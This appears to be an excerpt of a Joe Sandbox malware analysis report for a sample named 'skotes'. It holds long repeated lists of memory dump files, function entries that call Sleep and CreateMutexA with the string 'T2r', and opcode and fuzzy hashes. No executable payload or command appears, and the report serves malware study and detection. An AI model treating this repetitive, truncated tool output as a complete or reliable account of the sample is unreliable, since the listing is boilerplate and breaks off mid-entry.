Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: 2b2b12c5361ad13623ec4430c66fa512cd4700ef46bbbf78879ddf1b2566693b
Instruction ID: 4fd81c2546f3d05c2347fdf7118f7d013f3de7a2a1680264c1cf4928746e3714
Opcode Fuzzy Hash: 2b2b12c5361ad13623ec4430c66fa512cd4700ef46bbbf78879ddf1b2566693b
Instruction Fuzzy Hash: 0A312671B011089BEB18DBB8DC89FBCB763EB86318F24825DE0549B3D1C73989818756

Function 006CA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: 914f5f0b03fd412539a80d7f583ba36a26f279a187c2b3f9dbc74388214f13c7
Instruction ID: efac0d138a954c27cca563560de5d1c410382c646ec9595d617fb8ff5eae1aa6
Opcode Fuzzy Hash: 914f5f0b03fd412539a80d7f583ba36a26f279a187c2b3f9dbc74388214f13c7
Instruction Fuzzy Hash: 9D311A71B101089BEB18DBB8DD89FBDB773EB81318F24865DE018973D1C77989818666

Function 006C9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: 589f5159fa9429770d8fa58bfa5a1721a040bc9e653483e9659fcd58ad00ea3e
Instruction ID: 301cf5fd9f0b61cf2ea94e8aa1b13931aec7def463e70aaef0bc59c88ec45b0a
Opcode Fuzzy Hash: 589f5159fa9429770d8fa58bfa5a1721a040bc9e653483e9659fcd58ad00ea3e
Instruction Fuzzy Hash: 12213A31B14208DBEB189BACEC8DFBDB763EBC1314F20421EE408973D1C77999818A55

Function 006CA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: 13921231460ccc41d70de388beef089b9471f77dff2b8f1528387b85fe13d8b3
Instruction ID: 2de3136f88eaafa3ed87b6eefdfe725d017c5f9a03888d3603ef162866310f01
Opcode Fuzzy Hash: 13921231460ccc41d70de388beef089b9471f77dff2b8f1528387b85fe13d8b3
Instruction Fuzzy Hash: 232128717562089BEB2867EC988AFBDB263DF81704F24481EE048D73D1CA7A59818597

Function 006CA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 006CA963
CreateMutexA.KERNELBASE(00000000,00000000,00723254), ref: 006CA981

Strings

T2r, xrefs: 006CA970

Memory Dump Source

Source File: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000003.00000002.2137393646.00000000006C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137416563.0000000000722000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137476108.0000000000729000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137493218.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137511682.0000000000737000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137610422.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137628319.0000000000895000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137648601.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137684076.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137701715.00000000008BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137718496.00000000008BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137735132.00000000008BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137751253.00000000008C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137767245.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137785295.00000000008CB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137801490.00000000008CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137819357.00000000008CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137836109.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137857748.00000000008EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137873898.00000000008ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137890889.00000000008F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137930851.000000000091C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137947573.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137963946.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2137983504.0000000000927000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138014184.000000000092E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138033978.0000000000934000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138056652.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138075514.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138093691.0000000000945000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138111974.0000000000948000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138130532.0000000000950000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138147754.0000000000951000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138167289.0000000000958000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138184594.000000000095A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138201270.000000000095B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138224934.0000000000963000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138248373.0000000000974000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138270674.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138288032.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138305522.0000000000979000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138332374.000000000097A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138352064.00000000009A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138404976.00000000009BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138428557.00000000009BF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138451361.00000000009D3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138473245.00000000009D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138491858.00000000009D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138511104.00000000009DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138534845.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138559180.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2138578099.00000000009EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2r
API String ID: 1464230837-3348044575
Opcode ID: caff9e58803516584066c4e9d9206e1d7c2353e582de3f1160f74a6c8c0a3a23
Instruction ID: f84a26ea214746623038f64079b2c0e5edfd8c6375c2b2e54877be208b0bf5cf
Opcode Fuzzy Hash: caff9e58803516584066c4e9d9206e1d7c2353e582de3f1160f74a6c8c0a3a23
Instruction Fuzzy Hash: A2213A71715248DBEB189BACDC89BBCB763EB81314F24421EE408D77D0C7799A808652

Function 006FD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

